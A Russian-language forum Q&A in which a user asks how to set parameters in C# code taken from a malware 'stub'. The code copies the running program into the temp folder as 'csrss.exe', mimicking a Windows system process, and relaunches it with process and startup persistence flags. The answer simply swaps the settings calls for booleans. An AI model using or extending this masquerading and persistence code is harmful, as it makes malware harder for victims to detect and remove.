.NET 2.x Передать нужный параметр - C#
Формулировка задачи:
Нашел в чужом сорсе функцию, которая защищает процес от закрытия пользователем. Но так как сорсы так называемомго стаба, то не могу понять какой параметр передать нужно. Может кто-то догадается )
Выбор происходит чекбоксом.
Листинг программы
- int handle = Process.GetCurrentProcess().Id;
- if(GetSetting<bool>("ProcessPersistence") || GetSetting<bool>("StartupPersistence"))
- {
- try
- {
- File.Copy(Application.ExecutablePath, Path.GetTempPath() + "csrss.exe", true);
- Process.Start(Path.GetTempPath() + "csrss.exe", (GetSetting<bool>("ProcessPersistence") ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (GetSetting<bool>("StartupPersistence") ? "-s" : ""));
- }
- catch { }
- }
Актуально. Нужно понять какие параметры передать вместо
Листинг программы
- GetSetting<bool>
Решение задачи: «.NET 2.x Передать нужный параметр»
textual
Листинг программы
- Process.Start(Path.GetTempPath() + "csrss.exe", (ProcessPersistence ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (StartupPersistence ? "-s" : ""));
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д